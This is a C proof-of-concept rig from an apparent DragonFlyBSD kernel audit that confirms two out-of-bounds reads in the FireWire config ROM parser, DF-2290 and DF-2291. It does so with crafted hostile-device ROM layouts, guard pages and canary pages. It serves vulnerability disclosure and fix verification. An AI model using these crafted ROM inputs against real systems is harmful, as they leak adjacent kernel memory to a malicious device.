⬢ DragonFlyBSD Kernel Audit
DF-2290 / fwcrom_rig.c
← back to finding ↓ download raw
/*
 * fwcrom_rig.c -- verbatim-code verification rig for DF-2290 / DF-2291
 * sys/bus/firewire/fwcrom.c OOB reads (crafted FireWire config ROM).
 *
 * Evidence class: VERBATIM-CODE RIG.
 *   The rig links the UNMODIFIED production parser
 *       /usr/src/sys/bus/firewire/fwcrom.c
 *   (sha256 b38ce9b52a249f594b4f11e0914eaa7fb6fbbccb0e174611d6a97f875f1466c5,
 *    identical to the audited workspace copy) compiled in userspace exactly
 *   the way usr.sbin/fwcontrol/Makefile builds it (-I/usr/src/sys, !_KERNEL).
 *
 *   The production kernel buffer is fw_device.csrrom[1024/4]
 *   (sys/bus/firewire/firewirereg.h:52-54), kmalloc'd inside struct
 *   fw_device (sys/bus/firewire/firewire.c:1311) and filled host-endian
 *   from the remote device (firewire.c:1500 `csrrom[...] = ntohl(...)`).
 *   The rig reproduces that exact object: a 1024-byte host-endian buffer,
 *   crafted with a hostile device's ROM, placed at the END of an mmap'd
 *   page.  The NEXT page is either
 *     - PROT_NONE  ("*_guard")  -> any read past the 1024-byte buffer
 *                                   raises SIGSEGV; si_addr proves how far
 *                                   past the object the parser reads; or
 *     - a canary page ("*_canary") filled with markers -> proves that
 *        memory PAST the buffer flows into parser results (the leak).
 *
 * Modes:
 *   df2290_guard   info_len=254 -> root dir at buffer+1020, CROM_END at
 *                  buffer+2023 (~999B past end); crom_search_key() reads
 *                  root entries starting at buffer+1024.  Expect SIGSEGV.
 *   df2290_canary  same ROM, canary page with fake entries; search key 0x03
 *                  planted only past the buffer -> reg returned from OOB.
 *   df2291_guard   info_len=4 (default), text leaf at buffer+1000 with
 *                  crc_len=10 quadlets; fwcrom.c:207 check misses *4 factor
 *                  (1000+10 <= 1023 passes); crom_parse_text() reads
 *                  text[0..7] = bytes 1012..1043.  Expect SIGSEGV @1024.
 *   df2291_canary  same ROM, canary page; parse output must contain canary
 *                  words (adjacent-memory contents -> vendor/product string
 *                  buffer; in production -> sbp.c:606 sdev->vendor).
 *   control        well-formed in-bounds ROM -> parses, no fault (rig
 *                  sanity / fix-regression check).
 *
 * Exit codes: 0 = mode outcome as expected (incl. fixed-binary outcomes),
 *             1 = unexpected outcome, 2 = rig error.
 */
#include <machine/types.h>	/* mirror fwcrom.c userspace include path */
#include <sys/mman.h>
#include <signal.h>
#include <setjmp.h>
#include <stdint.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>		/* htonl/ntohl */

#include <bus/firewire/firewire.h>
#include <bus/firewire/iec13213.h>

#if BYTE_ORDER != LITTLE_ENDIAN
#error "rig assumes little-endian bitfield layout (x86_64 guest)"
#endif

/* little-endian word builders matching iec13213.h bitfields:
 *   csrhdr       { crc:16, crc_len:8, info_len:8 }
 *   csrdirectory { BIT16x2(crc_len,crc) => crc:16 low, crc_len:16 high }
 *   csrtext      { BIT16x2(crc_len,crc) => same }
 *   csrreg       { val:24, key:8 }                       */
#define HDRWORD(info_len)	((uint32_t)(info_len) << 24)
#define DIRWORD(crc_len, crc)	(((uint32_t)(crc_len) << 16) | (uint32_t)(crc))
#define REGWORD(key, val)	(((uint32_t)(key) << 24) | ((uint32_t)(val) & 0xffffff))

#define ROM_BYTES	1024			/* CSRROMSIZE 0x400 */

static sigjmp_buf g_jmp;
static volatile uintptr_t g_fault_addr;
static uint32_t *g_rom;			/* the 1024-byte "csrrom" object */
static uintptr_t g_buf_end;		/* g_rom + 1024 */
static const char *g_mode;		/* survives siglongjmp */

static void
segv_handler(int sig, siginfo_t *si, void *uc)
{
	(void)sig;
	(void)uc;
	g_fault_addr = (uintptr_t)si->si_addr;
	siglongjmp(g_jmp, 1);
}

static uint32_t *
setup(int canary)
{
	size_t ps = (size_t)sysconf(_SC_PAGESIZE);
	unsigned char *region;
	uint32_t *zone;
	size_t zwords = ps / 4, i;

	/* 3 pages: [slack][ROM page, buffer ends exactly at page end][next] */
	region = mmap(NULL, 3 * ps, PROT_READ | PROT_WRITE,
	    MAP_PRIVATE | MAP_ANON, -1, 0);
	if (region == MAP_FAILED) {
		perror("mmap");
		exit(2);
	}
	g_rom = (uint32_t *)(region + 2 * ps - ROM_BYTES);
	g_buf_end = (uintptr_t)g_rom + ROM_BYTES;
	memset(g_rom, 0, ROM_BYTES);
	printf("  rom object=[%p,%p) 1024 bytes, next page %s\n",
	    (void *)g_rom, (void *)g_buf_end,
	    canary ? "CANARY (readable, marked)" : "GUARD (PROT_NONE)");

	if (canary) {
		zone = (uint32_t *)(region + 2 * ps);
		for (i = 0; i < zwords; i++)
			zone[i] = htonl(0xC0FFEE00u + (uint32_t)i);
			/* BE words: crom_parse_text ntohl()s text quadlets */
	} else {
		if (mprotect(region + 2 * ps, ps, PROT_NONE) != 0) {
			perror("mprotect");
			exit(2);
		}
	}
	return (g_rom);
}

static void
report_fault(const char *what)
{
	ptrdiff_t delta = (uintptr_t)g_fault_addr - (uintptr_t)g_buf_end;

	printf("RIG mode=%s result=OOB_FAULT_CONFIRMED\n", g_mode);
	printf("  %s dereferenced memory at %p\n", what,
	    (void *)g_fault_addr);
	printf("  buffer=[%p,%p) size=1024 -> fault address is %td bytes "
	    "past the buffer end\n", (void *)g_rom, (void *)g_buf_end, delta);
	if (delta < 0)
		printf("  UNEXPECTED: fault address inside the buffer\n");
}

/* ---- DF-2290: unchecked info_len -------------------------------------- */
static int
run_2290(int canary)
{
	struct crom_context cc;
	struct csrreg *reg;
	uint32_t *rom;
	int rc = 1;

	g_mode = canary ? "df2290_canary" : "df2290_guard";
	rom = setup(canary);
	rom[0]   = HDRWORD(254);		/* info_len = 254 (field max 255) */
	rom[255] = DIRWORD(0x100, 0);		/* root dir @ byte 1020, crc_len=256
						 * CROM_END = 1020 + 1003 = 2023
						 * -> ~999 bytes past buffer */
	if (canary) {
		uint32_t *zone = (uint32_t *)g_buf_end;
		size_t i;
		/* fake entries past the buffer: immediate type (0x0x) fillers */
		for (i = 0; i < 256; i++)
			zone[i] = REGWORD(0x14, 0x11110000u + (uint32_t)i);
		/* the searched key exists ONLY past the buffer */
		zone[7] = REGWORD(CSRKEY_VENDOR /* 0x03 */, 0x00C0FFEE);
	}

	if (sigsetjmp(g_jmp, 1) == 0) {
		crom_init_context(&cc, rom);
		if (cc.depth < 0) {
			printf("RIG mode=%s result=REJECTED_NO_FAULT\n", g_mode);
			printf("  crom_init_context rejected the ROM "
			    "(depth=%d), no OOB access\n", cc.depth);
			return (0);
		}
		reg = crom_search_key(&cc, CSRKEY_VENDOR);
		/* guard page: not reached (SIGSEGV in reg->key deref) */
		if (canary && reg != NULL) {
			ptrdiff_t off = (uintptr_t)reg - (uintptr_t)rom;
			printf("RIG mode=%s result=OOB_LEAK_CONFIRMED\n", g_mode);
			printf("  crom_search_key(0x03) returned reg=%p "
			    "(buffer+%td; %td bytes PAST the 1024-byte buffer)\n",
			    (void *)reg, off, (uintptr_t)reg - g_buf_end);
			printf("  reg->key=0x%02x reg->val=0x%06x  <- key/value "
			    "read from memory OUTSIDE the buffer\n",
			    reg->key, reg->val);
			if (reg->val == 0x00C0FFEE)
				printf("  canary 0x00C0FFEE (planted only "
				    "past the buffer) confirmed in reg->val\n");
			rc = 0;
		} else {
			printf("RIG mode=%s result=NO_MATCH_UNEXPECTED "
			    "(no fault, no hit)\n", g_mode);
		}
	} else {
		report_fault("crom_search_key() (root entry deref)");
		rc = 0;
	}
	return (rc);
}

/* ---- DF-2291: crom_parse_text missing sizeof(u_int32_t) --------------- */
static int
run_2291(int canary)
{
	struct crom_context cc;
	char out[64];
	uint32_t *rom, *vw;
	int i, hits = 0, rc = 1;

	g_mode = canary ? "df2291_canary" : "df2291_guard";
	rom = setup(canary);
	rom[0] = HDRWORD(4);			/* default info_len */
	rom[5] = DIRWORD(1, 0);			/* root dir @ byte 20, 1 entry */
	rom[6] = REGWORD(0x81 /* CROM_TEXTLEAF */, 244);
						/* entry[0] @ 24 -> leaf @
						 * 24 + 4*244 = byte 1000 */
	rom[250] = DIRWORD(10, 0);		/* csrtext @1000: crc_len=10
						 * quadlets.  BUGGY CHECK:
						 * 1000+10 <= CROM_END(1023)
						 * passes, but real read extent
						 * is 1000+12+8*4 = 1044 */
	rom[251] = 0;				/* spec */
	rom[252] = 0;				/* lang */
	rom[253] = htonl(0xAB0DE000);		/* text[0] @1012 in-buffer */
	rom[254] = htonl(0xAB0DE001);		/* text[1] */
	rom[255] = htonl(0xAB0DE002);		/* text[2] @1023 last in-bounds */
						/* text[3..7] @1024..1043: OOB */

	memset(out, 0, sizeof(out));
	if (sigsetjmp(g_jmp, 1) == 0) {
		crom_init_context(&cc, rom);
		if (cc.depth < 0) {
			printf("RIG mode=%s result=REJECTED_NO_FAULT "
			    "(init rejected)\n", g_mode);
			return (0);
		}
		crom_parse_text(&cc, out, (int)sizeof(out));
		if (strncmp(out, "(null)", 6) == 0) {
			printf("RIG mode=%s result=NULLSTR_NO_FAULT "
			    "(leaf rejected by bounds check: out=\"(null)\")\n",
			    g_mode);
			return (0);
		}
		if (canary) {
			vw = (uint32_t *)(void *)out;
			for (i = 3; i < 8; i++)
				if (vw[i] == 0xC0FFEE00u + (uint32_t)(i - 3))
					hits++;
			printf("RIG mode=%s result=", g_mode);
			if (hits >= 5) {
				printf("OOB_LEAK_CONFIRMED\n");
				rc = 0;
			} else {
				printf("NO_CANARY_UNEXPECTED (%d/5)\n", hits);
			}
			printf("  crom_parse_text output (the buffer that "
			    "becomes sdev->vendor/product, sbp.c:606,621):\n   ");
			for (i = 0; i < 8; i++)
				printf(" %08x", vw[i]);
			printf("\n  words 3..7 = canary 0xC0FFEE00..04 read "
			    "from bytes 1024..1043, PAST the 1024-byte buffer\n"
			    "  (words 0..2 = in-buffer markers 0xAB0DE00x "
			    "at 1012..1023)\n");
		} else {
			printf("RIG mode=%s result=NO_FAULT_UNEXPECTED "
			    "out[0..3]=%02x%02x%02x%02x\n", g_mode,
			    (unsigned char)out[0], (unsigned char)out[1],
			    (unsigned char)out[2], (unsigned char)out[3]);
		}
	} else {
		report_fault("crom_parse_text() (textleaf->text[i] read)");
		rc = 0;
	}
	return (rc);
}

/* ---- control: well-formed ROM must parse, fully in-bounds -------------- */
static int
run_control(void)
{
	struct crom_context cc;
	char out[64];
	uint32_t *rom, *vw;
	int ok;

	g_mode = "control";
	rom = setup(0 /* guard page stays PROT_NONE: control must not trip */);
	rom[0] = HDRWORD(4);
	rom[5] = DIRWORD(1, 0);
	rom[6] = REGWORD(0x81, (512 - 24) / 4);	/* text leaf @ byte 512 */
	rom[128] = DIRWORD(6, 0);		/* crc_len=6 -> extent 536 <= 1024 */
	rom[129] = 0;				/* spec */
	rom[130] = 0;				/* lang */
	rom[131] = htonl(0x54524300);		/* text[0] @524 */
	rom[132] = htonl(0x54524301);
	rom[133] = htonl(0x54524302);
	rom[134] = htonl(0x54524303);

	memset(out, 0, sizeof(out));
	if (sigsetjmp(g_jmp, 1) == 0) {
		crom_init_context(&cc, rom);
		crom_parse_text(&cc, out, (int)sizeof(out));
		vw = (uint32_t *)(void *)out;
		ok = (vw[0] == 0x54524300 && vw[1] == 0x54524301 &&
		    vw[2] == 0x54524302 && vw[3] == 0x54524303);
		printf("RIG mode=%s result=%s\n", g_mode,
		    ok ? "PARSED_INBOUNDS" : "BAD_OUTPUT_UNEXPECTED");
		printf("  in-bounds text leaf parsed: out words %08x %08x "
		    "%08x %08x, no fault (guard page untouched)\n",
		    vw[0], vw[1], vw[2], vw[3]);
		return (ok ? 0 : 1);
	}
	report_fault("control path (should never fault)");
	return (1);
}

int
main(int argc, char **argv)
{
	const char *mode = argc > 1 ? argv[1] : "";
	struct sigaction sa;

	memset(&sa, 0, sizeof(sa));
	sa.sa_sigaction = segv_handler;
	sa.sa_flags = SA_SIGINFO;
	sigemptyset(&sa.sa_mask);
	if (sigaction(SIGSEGV, &sa, NULL) != 0) {
		perror("sigaction");
		return (2);
	}

	if (strcmp(mode, "df2290_guard") == 0)
		return (run_2290(0));
	if (strcmp(mode, "df2290_canary") == 0)
		return (run_2290(1));
	if (strcmp(mode, "df2291_guard") == 0)
		return (run_2291(0));
	if (strcmp(mode, "df2291_canary") == 0)
		return (run_2291(1));
	if (strcmp(mode, "control") == 0)
		return (run_control());

	fprintf(stderr, "usage: %s "
	    "df2290_guard|df2290_canary|df2291_guard|df2291_canary|control\n",
	    argv[0]);
	return (2);
}